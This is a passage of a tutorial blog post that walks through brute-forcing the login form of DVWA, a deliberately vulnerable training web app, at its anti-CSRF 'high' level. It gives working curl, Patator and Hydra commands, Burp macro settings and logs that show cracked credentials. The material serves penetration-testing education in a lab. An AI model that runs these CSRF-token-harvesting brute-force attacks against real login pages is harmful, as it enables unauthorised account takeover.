DVWA - Brute Force (High Level) - Anti-CSRF Tokens

This is the final "how to" guide which brute focuses Damn Vulnerable Web Application (DVWA), this time on the high security level. It is an expansion from the "low" level (which is a straightforward HTTP GET form attack). The main login screen shares similar issues (brute force-able and with anti-CSRF tokens). The only other posting is the "medium" security level post (which deals with timing issues).

Brute Force DVWA High Level

For the final time, let's pretend we do not know any credentials for DVWA....

Let's play dumb and brute force DVWA... once and for all!


TL;DR: Quick copy/paste

1
2
3
4
5
6
7
8
9
10
11
12
CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
SESSIONID=$(grep PHPSESSID dvwa.cookie | cut -d $'\t' -f7)
curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.44/DVWA/login.php"

patator  http_fuzz  method=GET  follow=0  accept_cookie=0  --threads=1  timeout=5  --max-retries=0 \
  url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=FILE1&password=FILE0&user_token=_CSRF_&Login=Login" \
  1=/usr/share/seclists/Usernames/top_shortlist.txt  0=/usr/share/seclists/Passwords/rockyou-40.txt \
  header="Cookie: security=high; PHPSESSID=${SESSIONID}" \
  before_urls="http://192.168.1.44/DVWA/vulnerabilities/brute/" \
  before_header="Cookie: security=high; PHPSESSID=${SESSIONID}" \
  before_egrep="_CSRF_:<input type='hidden' name='user_token' value='(\w+)' />" \
  -x quit:fgrep='Welcome to the password protected area'

Objectives

  • The goal is to brute force an HTTP login page.
    • GET requests are made via a form.
    • The web page is in a sub folder.
  • Low
  • Medium
    • Extends on the "low" level - HTTP GET attack via a web form.
    • Adds in a static time delay (4 seconds) on failed logins.
  • High
    • Extends on the "low" level - HTTP GET attack via a web form.
    • Uses an anti Cross-Site Request Forgery (CSRF) token.
    • This time uses a random time delay (between 0 and 4 seconds).
  • Impossible
    • Submits data via HTTP POST via web form
    • Accounts will lock out after 5 failed logins.
      • Time delay before becoming unlocked (15 minutes).
      • Unable to enumerate users on the system.
      • Possible "Denial of Service (DoS)" vector.
  • PHPIDS
    • Does not protect against this attack.
    • All attack methods are still the same!

Setup

  • Main target: DVWA v1.10 (Running on Windows Server 2012 Standard ENG x64 + IIS 8).
    • Target setup does not matter too much for this - Debian/Arch Linux/Windows, Apache/Nginx/IIS, PHP v5.x, or MySQL/MariaDB.
    • The main target is on the IP (192.168.1.44), port (80) and subfolder (/DVWA/), which is known ahead of time.
    • Because the target is Windows, it does not matter about case sensitive URL requests (/DVWA/ vs /dvwa/).
  • Attacker: Kali Linux v2 (+ Personal Custom Post-install Script).
    • Shell prompt will look different (due to ZSH/Oh-My-ZSH).
    • Added colour to tools output (thanks to GRC).
    • Pre-installed tools (such as html2text).

Both machines are running inside a Virtual Machine (VMware ESXi).


Tools

  • cURL - Information gathering (used for viewing source code & automate generating sessions).
  • Patator v0.7 - A brute force tool.
    • So far, we were using v0.5, however this does not have the before_header function. Time to upgrade!
  • Burp Proxy v16.0.1 - Debugging requests & brute force tool
    • Using FoxyProxy to switch proxy profiles in Iceweasel.
  • SecLists - General wordlists.
    • These are common, default and small wordlists.
    • Instead of using a custom built wordlist, which has been crafted for our target (e.g. generated with CeWL).

Creating a Session Cookie

This was explained back in the first post for the low level setting. Again, this post will be using the low level posting, and expanding on it. I will not be covering certain parts in depth here, because I already mentioned them in other posts. If a certain area is does not make sense, I strongly suggest you read over the low security post first (and maybe the medium one too).

The cookie command has not changed, plus the target has not changed, which means the output and result will be the same.

1
2
3
4
5
6
[root:~]# CSRF=$(curl -s -c dvwa.cookie 'http://192.168.1.44/DVWA/login.php' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# curl -s -b dvwa.cookie --data "username=admin&password=password&user_token=${CSRF}&Login=Login" "http://192.168.1.44/DVWA/login.php"
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="index.php">here</a></body>#
[root:~]# sed -i '/security/d' dvwa.cookie
[root:~]#

Session Cookie

Note, depending on the web server and its configuration, it may respond slightly differently (in the screenshot: 192.168.1.11 is Nginx,192.168.1.22 is Apache & 192.168.1.44 is IIS). This is a possible method to fingerprint an IIS web server.


Information Gathering

Form HTML Code

First thing we need to do is to figure out how this level is different from both of the ones before it (low and medium). We could use DVWA's in-built function to allow us to look at the PHP source code (which is stored on the server), however, let's try and figure it out ourselves as we would be doing if it was any other black box assessment. Using the same commands as before, let's see what was returned in the initial HTML response that makes up the web form.

1
2
3
4
5
6
7
8
9
10
11
[root:~]# curl -s -b 'security=high' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/' | sed -n '/<form/,/<\/form/p'
    <form action="#" method="GET">
      Username:<br />
      <input type="text" name="username"><br />
      Password:<br />
      <input type="password" AUTOCOMPLETE="off" name="password"><br />
      <br />
      <input type="submit" value="Login" name="Login">
      <input type='hidden' name='user_token' value='ff383a856f386faa98c327a585b75cda' />
    </form>
[root:~]#

Unlike the times before, this is not the same! There is now an extra input field between the <form></form> tags, call user_token! We can highlight this by using diff to compare the low and high levels.

1
2
3
4
5
6
7
8
9
[root:~]# curl -s -b 'security=low' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/' | sed -n '/<div class="body_padded/,/<\/div/p' > low.txt
[root:~]# curl -s -b 'security=high' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/' | sed -n '/<div class="body_padded/,/<\/div/p' > high.txt
[root:~]#
[root:~]# diff {low,high}.txt
14c14
<
---
>       <input type='hidden' name='user_token' value='6a7b86cd4e916fbb8f6ce7b64c7fec39' />
[root:~]#

Information Gathering Form HTML Code

Based on the name (user_token), the field is hidden, and as the value appears to be a MD5 value (due to its length and character range), these are all indications of the value being used for an anti-CSRF (Cross-Site Request Forgery) token. If this is true, it will make the attack slightly more complex (as testing each combination could require a new token), and we will not be able to use certain tools (such as Hydra, unless we permanently have it using a proxy).


CSRF Token Checking

Comparing requests:

Is the value in the hidden field (user_token) static? What happens if we make two normal requests and compare the responses?

1
2
3
4
5
6
7
8
[root:~]# curl -s -b 'security=high' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/' > high1.txt
[root:~]# !curl:gs/high1/high2/    #curl -s -b 'security=high' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/' > high2.txt
[root:~]# diff high{1,2}.txt
69c69
<       <input type='hidden' name='user_token' value='549d499897b815789172c2d7cddf6a69' />
---
>       <input type='hidden' name='user_token' value='3ba4692348281c30d34f23838d304518' />
[root:~]#

CSRF Token Checking

So it looks when you request a new page, the web app generates a new token (even more proof it is an anti-CSRF token).

Redirects:

What happens when we try to send a request? Once again we are pretending we do not know any valid credentials to login with (and there is still not a register/sign up page!), so we will just pick values at random, knowing they will fail (user/pass).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[root:~]# CSRF=$(curl -s -c dvwa.cookie 'http://192.168.1.44/DVWA/login.php' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# curl -s -b dvwa.cookie --data "username=admin&password=password&user_token=${CSRF}&Login=Login" "http://192.168.1.44/DVWA/login.php" >/dev/null
[root:~]# sed -i '/security/d' dvwa.cookie
[root:~]#
[root:~]# user_token=$(curl -s -b 'security=high' -b dvwa.cookie '192.168.1.44/DVWA/vulnerabilities/brute/' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# curl -s -b 'security=high' -b dvwa.cookie "http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&user_token=${user_token}&Login=Login" \
  | sed -n '/<div class="body_padded/,/<\/div/p' | html2text
****** Vulnerability: Brute Force ******
***** Login *****
Username:
[username            ]
Password:
[********************]

[Login]

Username and/or password incorrect.
[root:~]#

The page loads as normal. But what happens if we repeat the last request, re-using the same CSRF token (which now would be invalid)? Are we able to-do a similar trick as we did in the main login screen, where we get a valid session and then kept using it over and over?

1
2
[root:~]# !curl
[root:~]#

The page did not respond the same! Let's dig deeper...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[root:~]# curl -s -b 'security=high' -b dvwa.cookie "http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&user_token=${user_token}&Login=Login" -i
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Location: index.php
Server: Microsoft-IIS/8.0
X-Powered-By: PHP/5.6.0
Date: Fri, 06 Nov 2015 15:58:12 GMT
Content-Length: 132

<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="index.php">here</a></body>#
[root:~]#

Just like before, we are being redirected after submitting, however this time it only happens when the CSRF token is incorrect - not the credentials. Something to keep in mind, would the page we are being redirected to different depending if the login was successful? Now, let's follow the redirect and see what is returned.

1
2
3
4
5
6
7
8
9
10
11
12
13
[root:~]# !curl -L | sed -n '/<div class="body_padded/,/<\/div/p' | html2text
****** Vulnerability: Brute Force ******
***** Login *****
Username:
[username            ]
Password:
[********************]

[Login]
CSRF token is incorrect
CSRF token is incorrect
CSRF token is incorrect
[root:~]#

Comparing CSRF tokens

See how we get the message three times? So we are able to send multiple requests, but only show the results when the CSRF token is valid.

We are going to cheat a little here, and see what happens when we make a successful login, and compare it to an invalid one, both with an invalid CSRF token. If there are any differences (e.g. where we are being redirected to, page size, cookies etc.), is the web application checking the credentials even if the CSRF is invalid? If it is, we might be able to use this as a marker to bypass the CSRF function.

1
2
3
4
5
6
7
8
9
[root:~]# curl -s -b 'security=high' -b dvwa.cookie "192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&user_token=123&Login=Login" -i -L >invalid.txt
[root:~]# curl -s -b 'security=high' -b dvwa.cookie "192.168.1.44/DVWA/vulnerabilities/brute/?username=admin&password=password&user_token=123&Login=Login" -i -L >valid.txt
[root:~]#
[root:~]# diff {in,}valid.txt
90c90
<       <input type='hidden' name='user_token' value='4e9d8137848eca76c183f5ab86ef8471' />
---
>       <input type='hidden' name='user_token' value='d6d50d4fd2ac26487996984f8ac2ece1' />
[root:~]#

Comparing requests

Nope. Sending valid credentials does not make a difference (same redirected page, same length, same cookie). Nothing to use as a marker (unlike the login screen ). This means the web application is processing the CSRF token and does not proceed any further.

Invalid token request:

Is there a way to somehow bypass the CSRF check? We already know what happens if we do not send the correct value in the CSRF token, but what happens if the token is blank, if the token field is missing, if the token value contains characters out of its normal range (0-f), or, if the token value is too short/long?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
[root:~]# curl -s -b 'security=high' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&user_token=123&Login=Login' -L \
  | sed -n '/<div class="body_padded/,/<\/div/p' | html2text
****** Vulnerability: Brute Force ******
***** Login *****
Username:
[username            ]
Password:
[********************]

[Login]
CSRF token is incorrect
[root:~]# curl -s -b 'security=high' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&user_token=&Login=Login' -L \
  | sed -n '/<div class="body_padded/,/<\/div/p' | html2text
****** Vulnerability: Brute Force ******
***** Login *****
Username:
[username            ]
Password:
[********************]

[Login]
CSRF token is incorrect
[root:~]# curl -s -b 'security=high' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&user_token=%20&Login=Login' -L \
  | sed -n '/<div class="body_padded/,/<\/div/p' | html2text
****** Vulnerability: Brute Force ******
***** Login *****
Username:
[username            ]
Password:
[********************]

[Login]
CSRF token is incorrect
[root:~]# curl -s -b 'security=high' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' -L \
>   | sed -n '/<div class="body_padded/,/<\/div/p' | html2text
****** Vulnerability: Brute Force ******
***** Login *****
Username:
[username            ]
Password:
[********************]

[Login]
CSRF token is incorrect
[root:~]#

Comparing requests

All failed.

The only other way to try and bypass this protection would be to predict the value. Is the "seed" (the method used to generate the token) weak? Example, what if it was only the timestamp in a MD5? However, I am going to skip doing this, because I know it is a dead end in this case.

All of this means we need to include a unique value in each request during the brute force attack, so we make a GET request before sending the login credentials in another GET request. This in itself will limit what tools we can use (e.g. Hydra v8.1 does not support this - only solution would be to use a Proxy and have it alter Hydra's requests). Plus, due to the nature of the web application being slightly different (e.g. having to be already authenticated at the screen we want to brute force), this is going to make it even more difficult. Example, the version of Patator we have been using (v0.5) does not support this, however v0.7 does! Having to be logged into the web application, means we have to use a fixed session value (PHPSESSID), which will mean we only have one user_token at a time. Using multiple threads, will make multiple GET requests to get a user_token and each request resets the value, thus making the last request the only valid value (so some request would never be valid, even with the correct login details). Single thread attack, once again.


Timings

When doing our CSRF checks, we noticed that the web application response time was not always the same (unlike Medium where it would always take an extra 3 seconds).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[root:~]# for x in {1..3}; do
  time curl -s -b 'security=low' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&Login=Login' > /dev/null
done
curl -s -b 'security=low' -b dvwa.cookie  > /dev/null  0.01s user 0.00s system 12% cpu 0.064 total
curl -s -b 'security=low' -b dvwa.cookie  > /dev/null  0.00s user 0.00s system 19% cpu 0.040 total
curl -s -b 'security=low' -b dvwa.cookie  > /dev/null  0.01s user 0.00s system 15% cpu 0.052 total
[root:~]#
[root:~]# for x in {1..10}; do
  user_token=$(curl -s -b 'security=high' -b dvwa.cookie '192.168.1.44/DVWA/vulnerabilities/brute/' | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
  time curl -s -b 'security=high' -b dvwa.cookie "192.168.1.44/DVWA/vulnerabilities/brute/?username=user&password=pass&user_token=${user_token}&Login=Login" > /dev/null
done
curl -s -b 'security=high' -b dvwa.cookie  > /dev/null  0.01s user 0.00s system 0% cpu 2.055 total
curl -s -b 'security=high' -b dvwa.cookie  > /dev/null  0.01s user 0.00s system 18% cpu 0.043 total
curl -s -b 'security=high' -b dvwa.cookie  > /dev/null  0.00s user 0.00s system 0% cpu 3.056 total
curl -s -b 'security=high' -b dvwa.cookie  > /dev/null  0.00s user 0.01s system 0% cpu 2.047 total
curl -s -b 'security=high' -b dvwa.cookie  > /dev/null  0.00s user 0.00s system 0% cpu 4.059 total
curl -s -b 'security=high' -b dvwa.cookie  > /dev/null  0.00s user 0.00s system 0% cpu 4.043 total
curl -s -b 'security=high' -b dvwa.cookie  > /dev/null  0.00s user 0.00s system 0% cpu 1.060 total
curl -s -b 'security=high' -b dvwa.cookie  > /dev/null  0.00s user 0.00s system 0% cpu 4.046 total
curl -s -b 'security=high' -b dvwa.cookie  > /dev/null  0.00s user 0.00s system 9% cpu 0.044 total
curl -s -b 'security=high' -b dvwa.cookie  > /dev/null  0.00s user 0.00s system 0% cpu 4.055 total
[root:~]#

Timing Issue

There's a mixture of time delays, between 0-4 seconds. However, due to the "logged in CSRF token" mentioned before we are going to have to be using a single thread - so just make sure the time out value is greater than 4 seconds.


Patator

Patator is able to request a certain URL before trying a combination attempt (using before_urls), and can then extract a certain bit of information (before_egrep) to include it in the attack (e.g. _CSRF_). As already mentioned, having to be already authenticated to web application in order to brute force a form is slightly different. Lucky, Patator v0.7 can also send a header (before_header) to make sure the requests are always as an authenticated user. Note, in the low and medium levels, we were using v0.5.

Patator Documentation

Compared to the low level, the only extra arguments we are now using:

1
2
3
4
5
before_urls   : comma-separated URLs to query before the main request
before_header : use a custom header in the before_urls request
before_egrep  : extract data from the before_urls response to place in the main request
...SNIP...
--max-retries=N     skip payload after N retries (default is 4) (-1 for unlimited)
  • before_urls - this will be the same URL as we are trying to brute force as it contains CSRF value we wish to acquire.
  • before_header - this will be the same as the header (because we need to be authenticated to being with).
  • before_egrep - this is where the magic will happen. This extracts the CSRF token value from the page, so we can re-use it in the main request.
    • We know to use <input type='hidden' name='user_token' value='...' /> due to the information we gathered using cURL.
    • Patator uses regular expressions (egrep) in order to locate the wanted CSRF value - (\w+).
    • We will assign the extracted value to the variable _CSRF_ so we can use it in the same matter as the wordlists - &user_token=_CSRF_.
  • --max-retries - is not really required, just carried over from the medium level.

If you would like to see what is happening behind the scenes, here is a screenshot of the attack with a proxy being used.

Patator Attack Command

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
[root:~]# CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')
[root:~]# curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.44/DVWA/login.php" >/dev/null
[root:~]#
[root:~]# python  patator.py  http_fuzz  method=GET  follow=0  accept_cookie=0  --threads=1  timeout=5 --max-retries=0 \
  url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=FILE1&password=FILE0&user_token=_CSRF_&Login=Login" \
  1=/usr/share/seclists/Usernames/top_shortlist.txt  0=/usr/share/seclists/Passwords/rockyou-40.txt \
  header="Cookie: security=high; PHPSESSID=${SESSIONID}" \
  before_urls="http://192.168.1.44/DVWA/vulnerabilities/brute/" \
  before_header="Cookie: security=high; PHPSESSID=${SESSIONID}" \
  before_egrep="_CSRF_:<input type='hidden' name='user_token' value='(\w+)' />" \
  -x quit:fgrep!='Username and/or password incorrect'
16:12:32 patator    INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-11-06 16:12 GMT
16:12:32 patator    INFO -
16:12:32 patator    INFO - code size:clen       time | candidate                          |   num | mesg
16:12:32 patator    INFO - -----------------------------------------------------------------------------
16:12:32 patator    INFO - 200  10639:5033     0.047 | 123456:root                        |     1 | HTTP/1.1 200 OK
16:12:32 patator    INFO - 200  10552:5033     0.037 | 123456:admin                       |     2 | HTTP/1.1 200 OK
16:12:34 patator    INFO - 200  10552:5033     1.051 | 123456:test                        |     3 | HTTP/1.1 200 OK
16:12:35 patator    INFO - 200  10552:5033     1.050 | 123456:guest                       |     4 | HTTP/1.1 200 OK
16:12:36 patator    INFO - 200  10552:5033     1.051 | 123456:info                        |     5 | HTTP/1.1 200 OK
16:12:37 patator    INFO - 200  10552:5033     1.040 | 123456:adm                         |     6 | HTTP/1.1 200 OK
16:12:37 patator    INFO - 200  10552:5033     0.039 | 123456:mysql                       |     7 | HTTP/1.1 200 OK
16:12:40 patator    INFO - 200  10552:5033     3.049 | 123456:user                        |     8 | HTTP/1.1 200 OK
16:12:44 patator    INFO - 200  10552:5033     4.034 | 123456:administrator               |     9 | HTTP/1.1 200 OK
16:12:45 patator    INFO - 200  10552:5033     1.056 | 123456:oracle                      |    10 | HTTP/1.1 200 OK
16:12:47 patator    INFO - 200  10552:5033     2.044 | 123456:ftp                         |    11 | HTTP/1.1 200 OK
16:12:50 patator    INFO - 200  10552:5033     3.052 | 12345:root                         |    12 | HTTP/1.1 200 OK
16:12:53 patator    INFO - 200  10552:5033     3.056 | 12345:admin                        |    13 | HTTP/1.1 200 OK
16:12:54 patator    INFO - 200  10552:5033     0.043 | 12345:test                         |    14 | HTTP/1.1 200 OK
16:12:55 patator    INFO - 200  10552:5033     1.049 | 12345:guest                        |    15 | HTTP/1.1 200 OK
16:12:57 patator    INFO - 200  10552:5033     2.046 | 12345:info                         |    16 | HTTP/1.1 200 OK
16:12:57 patator    INFO - 200  10552:5033     0.040 | 12345:adm                          |    17 | HTTP/1.1 200 OK
16:12:58 patator    INFO - 200  10552:5033     1.040 | 12345:mysql                        |    18 | HTTP/1.1 200 OK
16:12:59 patator    INFO - 200  10552:5033     1.046 | 12345:user                         |    19 | HTTP/1.1 200 OK
16:13:00 patator    INFO - 200  10552:5033     1.072 | 12345:administrator                |    20 | HTTP/1.1 200 OK
16:13:00 patator    INFO - 200  10552:5033     0.038 | 12345:oracle                       |    21 | HTTP/1.1 200 OK
16:13:03 patator    INFO - 200  10552:5033     3.047 | 12345:ftp                          |    22 | HTTP/1.1 200 OK
16:13:03 patator    INFO - 200  10552:5033     0.035 | 123456789:root                     |    23 | HTTP/1.1 200 OK
16:13:05 patator    INFO - 200  10552:5033     2.048 | 123456789:admin                    |    24 | HTTP/1.1 200 OK
16:13:05 patator    INFO - 200  10552:5033     0.035 | 123456789:test                     |    25 | HTTP/1.1 200 OK
16:13:08 patator    INFO - 200  10552:5033     2.051 | 123456789:guest                    |    26 | HTTP/1.1 200 OK
16:13:08 patator    INFO - 200  10552:5033     0.038 | 123456789:info                     |    27 | HTTP/1.1 200 OK
16:13:12 patator    INFO - 200  10552:5033     4.045 | 123456789:adm                      |    28 | HTTP/1.1 200 OK
16:13:14 patator    INFO - 200  10552:5033     2.052 | 123456789:mysql                    |    29 | HTTP/1.1 200 OK
16:13:16 patator    INFO - 200  10552:5033     2.043 | 123456789:user                     |    30 | HTTP/1.1 200 OK
16:13:16 patator    INFO - 200  10552:5033     0.028 | 123456789:administrator            |    31 | HTTP/1.1 200 OK
16:13:17 patator    INFO - 200  10552:5033     1.046 | 123456789:oracle                   |    32 | HTTP/1.1 200 OK
16:13:17 patator    INFO - 200  10552:5033     0.038 | 123456789:ftp                      |    33 | HTTP/1.1 200 OK
16:13:18 patator    INFO - 200  10552:5033     1.069 | password:root                      |    34 | HTTP/1.1 200 OK
16:13:18 patator    INFO - 200  10614:5095     0.029 | password:admin                     |    35 | HTTP/1.1 200 OK
16:13:22 patator    INFO - 200  10552:5033     4.035 | password:test                      |    36 | HTTP/1.1 200 OK
16:13:22 patator    INFO - Hits/Done/Skip/Fail/Size: 36/36/0/0/43527, Avg: 0 r/s, Time: 0h 0m 50s
16:13:22 patator    INFO - To resume execution, pass --resume 36
[root:~]#

Patator Attack


Burp Suite

Burp Suite has a proxy tool in-built. Even though it is primarily a commercial tool, there is a "free license" version. The free edition contains a limited amount of features and functions with various limits in place, one of which is a slower "intruder" attack speed.

Burp is mainly a graphical UI, which makes it harder to demonstrate how to use it (mouse clicking vs copying/pasting commands). This section really could benefit from a video, rather than a screenshot gallery....

The first section will quickly load in the valid request, which contains the user_token field we need to automate in each request. The next part will create a macro to automatically extract and use the value. The last part will be the brute force attack itself.

Configure Burp

This is quick and simple. Get to the brute force login page and make a login attempt when hooked inside the proxy.

  • The first thing we need to-do is set up our web browser (Iceweasel/Firefox) to use Burp's proxy.
    • IP: 127.0.0.1 (loopback by Burp's default), Port: 8080
    • Using FoxyProxy to switch profiles.

Configuring Burp

Macro

This stage will now detect, extract and act on the user_token field.

  • Options -> Sessions -> Session Handling Rules -> Add.

Macro Add


  • Rule Description: DVWA Brute High -> Rule Action -> Add -> Run a macro

Macro Rule


  • Select macro -> Add

Macro Select


  • Macro Recorder -> Select: GET /DVWA/vulnerabilities/brute/ HTTP/1.1 -> OK

Macro Recorder


  • Macro description: Get user_token.
  • #1 -> Configure item.

Macro Item


  • Custom parameters locations in response -> Add.

Macro Parameters


  • Parameter name: user_token.
  • Start after expression: user_token' value='.
  • End at delimiter: ' />
  • Ok

Macro Configure


  • Ok -> Ok

Macro done


  • Enable: Tolerate URL mismatch when matching parameters (use for URL-agnostic CSRF tokens)
  • Ok

Macro Tolerate


  • Result

Macro Result


  • Scope -> Tool Scope -> Only select: Intruder
  • URL Scope -> Use Suite scope [defined in Target tab]
  • Ok

We will come back here if we choose to use Hydra later.

Macro Scope


  • Target -> Site map -> 192.168.1.44 -> Right click: Add to scope

Macro Target Map


Intruder

This is the main brute force attack itself. Due to the free version of Burp, this will be "slow".

  • First thing, find the request we made back at the start, when we tried to login with the bad credentials.
  • Right click -> Send to Intruder.

Intruder Attack


  • Intruder (tab) -> 2 -> Positions
  • Attack type: Cluster bomb.
    • This supports multiple lists (based on the number of fields in scope. Defined by §value§), going through each value one by one in the first wordlist, then when it reaches the end to move to the next value in the next list
    • For more information about attack types: https://portswigger.net/burp/help/intruder_positions.html
  • Clear §
  • Highlight: user -> Press: Add §
    • Result: username=§admin§
  • Highlight: pass -> Press: Add §
    • Result: password=pass

Intruder Positions


  • Intruder (tab) -> 2 -> Payloads
  • Payload Sets -> Payload Sets: 1. Payload type: Simple list
  • Payload Options [Simple list] -> Load -> /usr/share/seclists/Usernames/top_shortlist.txt -> Open

Intruder Payloads


  • Payload Sets -> Payload Sets: 2. Payload type: Simple list

Intruder Payload Set Simple List


  • Payload Options [Simple list] -> Load -> /usr/share/seclists/Passwords/rockyou-10.txt -> Open

Intruder wordlist


  • Total requests: 1,012

Intruder Total requests


  • Intruder (tab) -> 2 -> Options
  • Attack Results -> Untick: Make unmodified baseline request

Intruder Options


  • Grep - Extract -> Add

Intruder Grep


  • Start after expression: <pre><br />.
  • End at delimiter: </pre>
  • Ok

Intruder Expressions


  • Intruder (menu) -> Start attack

Intruder Attack


  • This is the warning, informing us we are using the free edition of Burp, as a result, our attack speed will be limited.
  • Ok

Intruder Free Edition


  • Result
  • We can see the value which is successful by the <pre><br /> being different, as well as the Length.

Intruder Result


Hydra

This is not a complete section, as it expands upon the "Burp Proxy" above. We will be editing values which were created, rather than adding them.

Hydra by itself is unable to perform the attack. When putting Hydra's traffic through a proxy, the proxy can handle the request, altering Hydra's request so Hydra is not aware of the CSRF tokens.

In order to get Hydra to be able to brute force with CSRF tokens, we need to:

  • In Burp, edit the CSRF macro to run on traffic which is sent via the proxy (see the Burp section above for the guide to create the macro).
  • Enable "invisible proxy" mode inside of Burp, allowing Hydra to use Burp as a proxy (see low level posting for why).
  • Create a rule to drop the unnecessary GET requests Hydra creates (see login screen posting for why).

CSRF Macro + Proxy:

  • Burp -> Options -> Sessions -> Session Handling Rules -> Edit: DVWA Brute High
    • You will need see the Burp Suite section above, which shows how to create this.
  • Scope -> Tools Scope -> Enable: Proxy (use with cation)
  • Ok

Hydra CSRF Macro + Proxy


Enable Invisible Proxy Mode:

  • Burp -> Proxy -> Options
  • Proxy Listeners -> Edit: 127.0.0.1 -> Request handling -> Tick: Support invisible proxying (enable only if needed)

Hydra Invisible Proxy


Drop unwanted GET requests:

  • Burp -> Proxy -> Options
  • Match and Replace -> Add
    • Type: Request header
    • Match: GET /DVWA/vulnerabilities/brute/ HTTP/1.0
    • Replace: < BLANK >
    • Comment: DVWA Hydra Brute High
    • Enable: Regex match (Even if we did not use any expression. Oops!)
  • Ok

Hydra Drop GET requests


Result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[root:~]# CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | cut -d $'\t' -f7)
[root:~]# curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.44/DVWA/login.php" >/dev/null
[root:~]# rm -f hydra.restore; export HYDRA_PROXY_HTTP=http://127.0.0.1:8080
[root:~]#
[root:~]# hydra  -l admin -P /usr/share/seclists/Passwords/rockyou.txt \
  -e ns  -F  -u  -t 1  -w 5  -v  -V  192.168.1.44  http-get-form \
  "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&user_token=123&Login=Login:F=Username and/or password incorrect.:H=Cookie\: security=high; PHPSESSID=${SESSIONID}"
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2015-11-06 23:24:29
[INFO] Using HTTP Proxy: http://127.0.0.1:8080
[INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.
[DATA] max 1 task per 1 server, overall 64 tasks, 14344400 login tries (l:1/p:14344400), ~224131 tries per task
[DATA] attacking service http-get-form on port 80
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "admin" - 1 of 14344400 [child 0]
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "" - 2 of 14344400 [child 0]
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "123456" - 3 of 14344400 [child 0]
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "12345" - 4 of 14344400 [child 0]
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "123456789" - 5 of 14344400 [child 0]
[ATTEMPT] target 192.168.1.44 - login "admin" - pass "password" - 6 of 14344400 [child 0]
[80][http-get-form] host: 192.168.1.44   login: admin   password: password
[STATUS] attack finished for 192.168.1.44 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-11-06 23:24:42
[root:~]#

Hydra Attack Results

Note, we do not see the result of the macro being used. We are only seeing the values before Burp alters the traffic, which is why the user_token appears to be an incorrect value each time. The attack was successful, which can be seen in Burp by the length column, and response tab, as well as in Hydra's output window.

Also note, the speed of the traffic in Burp's proxy is not filtered, unlike Burp's intruder function when using the free license.


Proof of Concept Scripts

Here are two Proof of Concept (PoC) scripts (one in Bash and the other is Python). They are really rough templates, and not stable tools to be keep on using. They are not meant to be "fancy" (e.g. no timeouts or no multi-threading). However, they can be fully customised in the attack. We cannot benchmark these, because of the random cool down times when there is a failed login attempt.

These scripts (can more) can be found on GitHub at the following repository.

Bash Template

1
2
3
4
5
6
7
8
9
